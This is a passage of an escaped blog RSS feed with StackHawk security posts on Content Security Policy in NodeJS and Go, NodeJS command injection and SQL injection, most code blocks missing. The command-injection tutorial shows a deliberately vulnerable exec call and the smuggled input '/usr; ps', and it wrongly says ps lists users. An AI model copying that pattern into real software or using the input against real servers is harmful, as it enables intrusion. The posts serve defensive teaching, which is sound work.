&amp;#39;Content-Security-Policy-Report-Only&amp;#39; alternative will be helpful. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;By changing to &amp;#39;report only,&amp;#39; the browser will no longer enforce the directives but continue to display the corresponding violation alerts and errors. This behavior is helpful for development environments where the platform&amp;#39;s security is not essential but where the developer needs to be aware of any violations to address them adequately. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Addressing CSP Violations&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;It might be overwhelming to see so many error messages in the browser developer console, but don&amp;#39;t worry. The process to address them is very simple once we understand what our site is requesting and what it actually needs. As you can already see, the report will serve as a guide to refine the policy directive and make the necessary updates.  &lt;/p&gt;&lt;p&gt;First, confirm that the resources that the alert reports are, in fact, legitimate and necessary for the proper functioning of the application. For example, we can see that our application is requesting the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;https://code.jquery.com/jquery-3.5.1.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.29.1/moment.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/moment-timezone/0.5.31/moment-timezone-with-data.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.bundle.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/css/all.min.css&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.ttf&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.ttf&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.ttf&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These are all valid resources and come from trusted sources. Now that we have the resources at hand, you can add them to the allowlist of each respective source as follows.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This simple change makes the alerts go away. &lt;/p&gt;&lt;p&gt;&lt;i&gt;A blank area that no longer shows alerts from the code.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Simple right? &lt;/p&gt;&lt;p&gt;Moreover, if you want to allow all resources from a specific source domain, thus encompassing many files in just one line, you can do so by specifying the common domain in the directive. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;In-Line Violations&lt;/h3&gt;&lt;p&gt;Now, what about the in-line code we have in our HTML? Well, there are a few things we can do to address these violations. &lt;/p&gt;&lt;p&gt;The first (recommended) approach is to move all in-line code and styles to a separate file and reference it. This way, you can ensure the security of your application and keep it consistent. &lt;/p&gt;&lt;p&gt;If this is not possible, you can move the code to a &amp;lt;script/&amp;gt; or &amp;lt;style/&amp;gt; tag and use a SHA hash key to tell the browser that the code in this tag is allowed. You can generate the hash key by hashing the code inside the tag with a SHA256 algorithm. Conveniently, the browser already calculates this hash in the alert itself so you can easily add it to the directive. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Additionally, if you don&amp;#39;t want to use the SHA hash, you can use what is known as a &amp;#39;nonce&amp;#39; tag attribute and add it to the corresponding tag. This solution will essentially serve the same purpose but must be updated with each request with some server-side code. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;In Summary&lt;/h2&gt;&lt;p&gt;The process of ensuring the integrity and security of our platforms can be very complex in nature. It is easy to end up lost in a rabbit hole of patches and mitigations to potential exploits and vulnerabilities. However, these security issues must be addressed. &lt;/p&gt;&lt;p&gt;As seen in this article, NodeJS and its flexible and approachable development stack make the work of securing against Content Security Policy exploits very easy and straightforward. No need to tamper with complex configurations or scary settings. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeJS Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Modern websites can be complex pieces of software. They can have multiple moving parts spread across many environments. If your application isn&amp;#39;t secured effectively, then each of these environments can pose as a unique attack surface for exploiting&lt;a href=&quot;https://owasp.org/www-community/attacks/Command_Injection&quot;&gt; &lt;u&gt;command injection vulnerabilities&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll learn about command injection vulnerabilities when working with shell command functions in NodeJS. We&amp;#39;ll also explore a few techniques we can use to better protect ourselves from these types of attacks.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s start by learning a little bit more about command injection vulnerabilities.&lt;/p&gt;&lt;h2&gt;What Is a Command Injection Vulnerability?&lt;/h2&gt;&lt;p&gt;These vulnerabilities can happen when an application accepts unsafe user input and uses it as a parameter for operating system commands. The goal of a command injection attack is to manipulate a legitimate command so that the attacker can run arbitrary commands against the operating system. This input can come from any user-modifiable source, such as forms, cookies, HTTP headers, and so on.&lt;/p&gt;&lt;p&gt;Note that a command injection is different from a&lt;a href=&quot;https://en.wikipedia.org/wiki/Code_injection&quot;&gt; &lt;u&gt;code injection attack&lt;/u&gt;&lt;/a&gt;. That type of attack is mainly concerned with subverting the application context itself. For example, a front-end JavaScript code injection attack might have the browser execute some arbitrary code on the user&amp;#39;s browser. But the attack would (usually) be limited to the scope of the browser.&lt;/p&gt;&lt;p&gt;In a command injection attack, on the other hand, the underlying OS is targeted. So, a command injection can potentially be a lot more damaging.&lt;/p&gt;&lt;h3&gt;A Quick Breakdown&lt;/h3&gt;&lt;p&gt;&lt;i&gt;Command injection flow.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Have a look at the image above. The expected flow of the system accepts user input and uses it as part of a system command. Assuming the input is valid and the user isn&amp;#39;t malicious, the system just returns the output of the system command back at the user.&lt;/p&gt;&lt;p&gt;However, if a malicious user suspects there&amp;#39;s a vulnerability, they can overload the application&amp;#39;s system command by appending their own command at the end.&lt;/p&gt;&lt;p&gt;For example, in a DOS command shell on Windows, you can use the &lt;b&gt;&amp;amp;&lt;/b&gt; (ampersand) character to append a command. In Linux systems, you can use the &lt;b&gt;;&lt;/b&gt; (semicolon) command for the same behavior. The application would execute both commands and return the output to the user.&lt;/p&gt;&lt;p&gt;Also, the attacker doesn&amp;#39;t even need to view the output of the command. If for some reason the application doesn&amp;#39;t return the output, the attacker can send a command like &lt;b&gt;curl&lt;/b&gt; and have it ping a server under the attacker&amp;#39;s control to confirm that the command injection is working. This makes it much easier to automate this type of attack and find applications or websites that are vulnerable to command injection.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s have a look at an actual example to learn more about this vulnerability.&lt;/p&gt;&lt;h2&gt;Example of a Vulnerable Website&lt;/h2&gt;&lt;p&gt;We&amp;#39;re going to create a quick-and-dirty website to demonstrate the vulnerability. Let&amp;#39;s imagine our website is part of a series of websites that teach you shell commands and help you learn how to list the contents of a directory. It will allow the user to enter the full path of a directory, and then it&amp;#39;ll return the contents of that folder.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s start the setup.&lt;/p&gt;&lt;h3&gt;Setting Up&lt;/h3&gt;&lt;p&gt;Make sure you have a supported version of&lt;a href=&quot;https://nodejs.dev/&quot;&gt; &lt;u&gt;NodeJS&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.npmjs.com/&quot;&gt; &lt;u&gt;npm&lt;/u&gt;&lt;/a&gt; running. If you don&amp;#39;t, you should install that first.&lt;/p&gt;&lt;p&gt;Next, run the following commands to initialize your project. The example assumes that you&amp;#39;re running the commands in a Mac or Linux environment or that you have Windows WSL2 running.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;These commands will create the project folder and install&lt;a href=&quot;https://expressjs.com/&quot;&gt; &lt;u&gt;Express&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://pugjs.org/api/getting-started.html&quot;&gt; &lt;u&gt;Pug&lt;/u&gt;&lt;/a&gt;. We use Express for web server functionality so that you can load the website. And we use Pug for some quick templating functionality.&lt;/p&gt;&lt;h3&gt;Adding Functionality&lt;/h3&gt;&lt;p&gt;Now, let&amp;#39;s create a dead-simple page for the user to enter the directory path. Create the file &lt;b&gt;nodejs-command-injection/server.js&lt;/b&gt; and put in the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, add the template file to display the form. Create the file &lt;b&gt;nodejs-command-injection/pages/index.pug&lt;/b&gt;, and add the following template code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This is fairly straightforward. We&amp;#39;re just creating a simple HTML page using Pug&amp;#39;s concise markup style.&lt;/p&gt;&lt;p&gt;You can now try starting the application by running the command: &lt;b&gt;node server.js. &lt;/b&gt;If everything&amp;#39;s set up correctly, you should see the page below when you browse to &lt;b&gt;http://localhost:3000/&lt;/b&gt; on your browser.&lt;/p&gt;&lt;p&gt;&lt;i&gt;The landing page of our website.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;If things are as they should be, let&amp;#39;s look at the vulnerability in detail.&lt;/p&gt;&lt;h2&gt;Exploring the Vulnerability&lt;/h2&gt;&lt;p&gt;Just a reminder, we&amp;#39;re assuming that you&amp;#39;re running this website on a Mac, Linux, or Windows WSL2 based environment. This is important because of the commands and folders we&amp;#39;ll be using for the examples.&lt;/p&gt;&lt;p&gt;Now that&amp;#39;s out of the way, let&amp;#39;s test out our website. Type in &lt;b&gt;/usr&lt;/b&gt; and click the &lt;b&gt;Submit&lt;/b&gt; button. You should now see a list of folders as the output.&lt;/p&gt;&lt;p&gt;&lt;i&gt;List of folders.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;OK, so that seems to be working and is showing the expected result. If you type in a different command, like &lt;b&gt;ps&lt;/b&gt;, into the input box, it won&amp;#39;t work. So, it looks like it lists folders only. But is that true? Try typing &lt;b&gt;/usr; ps&lt;/b&gt; into the input.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Lists system users.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Well, that&amp;#39;s troubling! We just listed all the users that exist on the server that&amp;#39;s hosting our website. This is possible because we&amp;#39;re using the semicolon character as a command separator. This tells the shell command to run two separate commands.&lt;/p&gt;&lt;p&gt;If you look at the code below, you can see that the &lt;b&gt;ls&lt;/b&gt; command is run first, concatenated with the user&amp;#39;s input. The code expects there to be only one command. But if the user subverts that flow, then it lets the user run any command they want on the server.&lt;/p&gt;&lt;p&gt;&lt;code&gt;...
exec(`ls -l ${folder}`, (error, stdout, stderr) =&amp;gt; {
....&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;So how can we improve our approach here? We&amp;#39;ll go through a few options available to us in the next section.&lt;/p&gt;&lt;h2&gt;Defending Against Command Injections&lt;/h2&gt;&lt;p&gt;As discussed above, the reason this vulnerability exists is because we&amp;#39;re leaving the door open for malicious users. Ideally, you shouldn&amp;#39;t be passing in arbitrary user input into shell commands. This is just very bad practice and should definitely be avoided.&lt;/p&gt;&lt;p&gt;Having said that, let&amp;#39;s say you have that one-in-a-million use case that requires this functionality. What do you do?&lt;/p&gt;&lt;h3&gt;Validate Your Inputs&lt;/h3&gt;&lt;p&gt;This is more of a general case rather than just something that applies to our example website: &lt;i&gt;Never trust user input.&lt;/i&gt; It should always be sanitized and handled with care so that nobody can use it as a delivery method for damaging commands.&lt;/p&gt;&lt;p&gt;At a minimum, you should be doing the following:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Use an&lt;a href=&quot;https://en.wikipedia.org/wiki/Whitelisting&quot;&gt; &lt;u&gt;allowlist&lt;/u&gt;&lt;/a&gt; to make sure that only allowed commands and parameters are coming through into your system.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Validate the input, and make sure that special break characters are not allowed into the system. Only allow characters that you expect to be valid.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Use execFile() Instead of exec()&lt;/h3&gt;&lt;p&gt;NodeJS has a handy method called&lt;a href=&quot;https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_callback&quot;&gt; &lt;u&gt;execFile&lt;/u&gt;&lt;/a&gt; that allows you to call an executable directly instead of using raw shell access. This makes the process a little safer because the user can&amp;#39;t run any additional commands and the arguments are passed in a structured way.&lt;/p&gt;&lt;p&gt;If we updated our code, it would look like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Substitute Shell Commands With Programming Language Level Commands&lt;/h3&gt;&lt;p&gt;One of the safest ways to avoid command injection vulnerabilities is to replace system shell level commands with commands from your specific programming environment—in this case, node. NodeJS already has directory listing functions built in. We just need to import the&lt;a href=&quot;https://nodejs.org/api/fs.html&quot;&gt; &lt;u&gt;file system&lt;/u&gt;&lt;/a&gt;&lt;u&gt; &lt;/u&gt;module in order to use these functions.&lt;/p&gt;&lt;p&gt;The code below shows an example using the &lt;b&gt;fs&lt;/b&gt; module.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This method is vastly more secure than what we started with. It&amp;#39;s always a good idea to explore what your programming environment provides before going straight for the nuclear option!&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Summary and Next Steps&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this blog post, we created an example website with a command injection vulnerability built into it. We also looked at options available to us in order to better protect ourselves from these types of attacks.&lt;/p&gt;&lt;p&gt;Where do we go from here? A good place to start would be to learn how command injection vulnerabilities affect other environments, such as&lt;a href=&quot;https://www.stackhawk.com/blog/rust-command-injection-examples-and-prevention/&quot;&gt; &lt;u&gt;Rust&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.stackhawk.com/blog/command-injection-java/&quot;&gt; &lt;u&gt;Java&lt;/u&gt;&lt;/a&gt;. Another good point of interest would be the&lt;a href=&quot;https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; guide for NodeJS.&lt;/p&gt;&lt;p&gt;Shell access is a powerful tool that can be a double-edged sword. Always make sure you absolutely need it before you go the shell command route. After all, why pick up a jackhammer when a chisel is what you actually need?&lt;/p&gt;&lt;p&gt;Check out&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; for more information. You can&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;create a free account&lt;/u&gt;&lt;/a&gt; or&lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt; search the blog&lt;/a&gt; for topics that interest you.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by John Pereira. &lt;/i&gt;&lt;a href=&quot;http://randomcoding.com/&quot;&gt;&lt;u&gt;&lt;i&gt;John&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a technology enthusiast who&amp;#39;s passionate about his work and all forms of technology. With over 15 years in the technology space, his area of expertise lies in API and large scale web application development, and its related constellation of technologies and processes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Learning that so-and-so big tech company has been hacked isn&amp;#39;t surprising news anymore. Hackers are now capable of setting companies back millions of dollars—a trend that makes it beneficial to adopt a security-first development approach. If you&amp;#39;re using Go at any level of your software delivery process, such an approach includes looking into Golang content security policy (CSP) headers. And you should look at how they can help your security goals in particular. &lt;/p&gt;&lt;p&gt;This guide explains the implementation of a Golang content security policy at length. Our approach starts with a specific definition of CSP. This is followed by some reasoning to justify why you should implement a content security policy. Finally, we&amp;#39;ll discuss best-practice methods to enforce CSP in Golang applications. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s dive right in! &lt;/p&gt;&lt;h2&gt;What Is a Content Security Policy?&lt;/h2&gt;&lt;p&gt;A content security policy is a set of rules that guard web applications against innocently executing unscrupulous scripts otherwise pushing hackers&amp;#39; agendas. The core functions of a content security policy distill into the following three-point list: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Identity-matching scripts within the app such that only those known by the server ever get to run&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cross-checking resource tags before they render/fire such that only those from trusted sources appear on the front end&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cleaning/sanitizing communication with external resources (for example, turning HTTP to HTTPS defaults) to avoid &lt;a href=&quot;https://www.stackhawk.com/blog/golang-csrf-protection-guide-examples-and-how-to-enable-it/&quot;&gt;&lt;u&gt;Golang CSRF&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;These three functionality aspects make CSP a useful &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;XSS&lt;/u&gt;&lt;/a&gt; and code (tag manipulation) injection deterrent. &lt;/p&gt;&lt;p&gt;To learn more about content security policies, check out &lt;a href=&quot;https://docs.google.com/document/d/1285WTLdvfUVtf2iwLhlOF1ggAfF0sCHjmj-5Sg3Rblg/edit#bookmark=id.gjdgxs&quot;&gt;&lt;u&gt;this post&lt;/u&gt;&lt;/a&gt; that describes the subject in more detail. &lt;/p&gt;&lt;h3&gt;Golang Content Security Policy Format&lt;/h3&gt;&lt;p&gt;Good as all this seems, it&amp;#39;s worth mentioning that CSP should not be the primary security feature for your Golang applications. Mostly because it best works as a blanket solution to a static set of access permutations. If your Golang project is just a single page of static content, implementing a content security policy can prove futile. This, due to it being a lesser target than projects handling user data. However, dynamic projects would benefit from CSP. &lt;/p&gt;&lt;p&gt;By no means will CSP be the most comprehensive security strategy for your Golang project. Make sure you explore the headers in your project along with their associated risks. This way, you can follow up with more elaborate security solutions to reinforce the effects of even the most well-thought-out content security policy. The more deliberate and focused a solution, the better your application security overall. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s refer to the uncomplicated Golang content security policy implementation below to explain the structure of CSP. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Typical Golang CSP implementation.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;This content security policy specifies just four values, but it&amp;#39;s not rare for double the amount (or even more) to feature therein. Now for a breakdown of what the code in the screenshot means. &lt;/p&gt;&lt;h4&gt;object-src&lt;/h4&gt;&lt;p&gt;The &lt;b&gt;object-src&lt;/b&gt; value is a protection variable that specifies any scripts embedded in the Golang application that should be executed. The &lt;b&gt;&amp;#39;none&amp;#39;&lt;/b&gt; option specified in this case negates the possibility of running applets or flash elements wherever this policy is &lt;i&gt;included/called&lt;/i&gt;. Often you&amp;#39;ll encounter the&lt;b&gt; &amp;#39;self&amp;#39;&lt;/b&gt; keyword as the object source directive. It simply instructs that scripts emerging from the host domain itself can be executed as they&amp;#39;re deemed safe by origin. &lt;/p&gt;&lt;h4&gt;script-src&lt;/h4&gt;&lt;p&gt;When the &lt;b&gt;script-src&lt;/b&gt; value is specified in CSP, any scripts that mirror the &lt;b&gt;{{nonce}} &lt;/b&gt;will execute. This works in much the same way as encryption in that the matching key is stored on the server side, away from hackers&amp;#39; reconnaissance efforts. You&amp;#39;ll do well to notice that passing a second directive is possible with the script source variable. In this case, the &lt;b&gt;&amp;#39;strict-dynamic&amp;#39;&lt;/b&gt; option accepts execution of scripts if, and only if, they were added to a page by already-approved sources. This caters to any dynamic resource builds. &lt;/p&gt;&lt;h4&gt;base-uri&lt;/h4&gt;&lt;p&gt;The &lt;b&gt;base-uri&lt;/b&gt; value works in a similar fashion to the object source variable in that it specifies if any &lt;a href=&quot;https://www.w3schools.com/tags/tag_base.asp&quot;&gt;&lt;u&gt;base tag values&lt;/u&gt;&lt;/a&gt; can run. The &lt;b&gt;&amp;#39;self&amp;#39;&lt;/b&gt; option therein limits any chance of manipulation of the URLs in base tags. It&amp;#39;s worth specifying this tag even when your code consists of no base values, lest hackers inject them post-production. &lt;/p&gt;&lt;h4&gt;reporting-uri&lt;/h4&gt;&lt;p&gt;The &lt;b&gt;reporting-uri&lt;/b&gt; value directs the interpreter to post any reports/errors to a specified webpage for analysis. This reporting feature notes down any hacker attempts to assist with any audit and safe-fencing efforts thereafter. &lt;/p&gt;&lt;h2&gt;CSP Errors&lt;/h2&gt;&lt;p&gt;Typically, any values for which directives exist in the Golang content security policy should fire off errors when access attempts fail. All of which should reflect at the address set in the &lt;b&gt;reporting-uri&lt;/b&gt; variable. As an example, let&amp;#39;s take a look at some errors/blocks that result in errors. &lt;a href=&quot;https://uptech.team/blog/why-use-golang-for-your-project#:~:text=to%20using%20Golang%3A-,Google,BBC,-Instead%20of%20building&quot;&gt;&lt;u&gt;Facebook is one company using Golang&lt;/u&gt;&lt;/a&gt;, among a handful of other big names. &lt;/p&gt;&lt;p&gt;&lt;i&gt;CSP errors and their sources.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Key to note from this screenshot is how the platform has actively placed an information resource explaining some of the errors. In particular, it shows those from attempted &lt;a href=&quot;https://www.facebook.com/help/246962205475854&quot;&gt;&lt;u&gt;Self-XSS attacks&lt;/u&gt;&lt;/a&gt;. This helps with a sneaky kind of attack that blends social engineering with cross-site scripting for persistent access to user accounts. &lt;/p&gt;&lt;p&gt;Some of the errors detected by the browser happen on the client side. If you encounter these during your Golang testing stages, consider doing away with any deprecated value-directive pairs in your CSP declaration. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#browser_compatibility&quot;&gt;&lt;u&gt;This browser compatibility chart&lt;/u&gt;&lt;/a&gt; maintained by the Mozilla Foundation should help troubleshoot most CSP errors. &lt;/p&gt;&lt;p&gt;Typically, resolving an error requires a specific element value-directive declaration that either excludes the self or sanitizes the particular access instance. However, you should be careful not to open the rest of your web application to attacks for the sake of a single tag. Otherwise, to mitigate risk, you may as well apply a single value-directive case for each error-flagging tag like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;tag nonce=&amp;quot;3hDsif/=&amp;quot;&amp;gt; ... &amp;lt;/tag&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This would be a tedious procedure. Especially if your application looks to scale significantly in the long run. Clearly, there must be a better way to implement CSP. &lt;/p&gt;&lt;h2&gt;How to Enable CSP&lt;/h2&gt;&lt;p&gt;No two Golang projects will come out identical, even (especially) when you patch together various Git repositories to come up with one. As such, it&amp;#39;s tempting to create a Golang content security policy from scratch. Without taking anything away from your team and their competence, you may realize that&amp;#39;s probably the least effective route. &lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://pkg.go.dev/&quot;&gt;&lt;u&gt;Golang package library&lt;/u&gt;&lt;/a&gt; is awash with stable all-encompassing templates and even header generators that fit snugly with your project. More important than understanding the code is how you approach the implementation and maintenance thereof. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Best practice alert:&lt;/b&gt; Like you would with any module in your project, ensure you test your Golang content security policy across the possible access device matrix. Make sure your policy evolves with the project to cover any resource tag introductions. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;In Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;By the time you read this sentence, you&amp;#39;ll have acquired ample knowledge around the Golang content security policy subject to implement your very first headers. This should provide the first line of defense against injection-dependent attacks, at the same time patching basic cross-site scripting vulnerabilities. &lt;/p&gt;&lt;p&gt;That said, in the event of a rapidly scaling application, your headers will need equally attentive efforts. The cat-and-mouse game that can ensue as you update new headers and fitting values is likely to cause a lot of developer exhaustion. This is where automated security testing tools that &lt;a href=&quot;https://www.stackhawk.com/#automated-security-testing-in-cicd&quot;&gt;&lt;u&gt;seamlessly merge with CI/CD workflows&lt;/u&gt;&lt;/a&gt; come in handy. StackHawk is a perfect case in point. &lt;/p&gt;&lt;p&gt;Since missing headers don&amp;#39;t necessarily mean your code has bugs, associated vulnerabilities easily make it into production. &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; lets your developers focus on feature development by automating security vulnerability checks. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Node.js SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/node-js-sql-injection-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Node.js is a fantastic runtime platform for developing accessible and uncomplicated applications and services, offering all the flexibility and benefits of working with JavaScript. The fact that its source is both open and supported by Microsoft, Google, and IBM provides this decade-old technology a lot of credibility. Yet it is not invulnerable to attacks like SQL injection. &lt;/p&gt;&lt;p&gt;Of course, no platform is perfect. Moreover, vulnerabilities like these are mainly introduced into systems by poor development practices. Which is why developers must nowadays be aware of their impact and mitigate them appropriately. For that purpose, this article will serve as an introduction to SQL injection attacks for beginners and a refresher for more seasoned developers. &lt;/p&gt;&lt;p&gt;We will briefly examine what SQL injection is and what a SQL injection attack looks like. We&amp;#39;ll also discuss measures to prevent them. If you have never worked on Node.js or JavaScript, I recommend taking some time to familiarize yourself with them. Nevertheless, the concepts of SQL injection are pretty consistent across platforms and &lt;a href=&quot;https://www.stackhawk.com/blog/java-sql-injection-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;languages&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;What is SQL Injection?&lt;/h2&gt;&lt;p&gt;First, let&amp;#39;s briefly explain what SQL injection is. &lt;/p&gt;&lt;p&gt;SQL injection is an attack that takes advantage of poor database integration infrastructure and lackluster user input validation. Malicious SQL instructions injected directly into the system&amp;#39;s SQL database through user-facing input fields can take over a system. The main goal of a SQL injection attack is to manipulate the data in the database, force the system to present its data, or both. &lt;/p&gt;&lt;p&gt;Given that these attacks target the system database and, when successful, can provide access to the database, the potential impact is evident. One could be excused for believing that these attacks are very complex and are used only rarely. However, most SQL injection attacks are not particularly sophisticated or rare. In fact, the opposite is true. &lt;/p&gt;&lt;h2&gt;SQL Injection 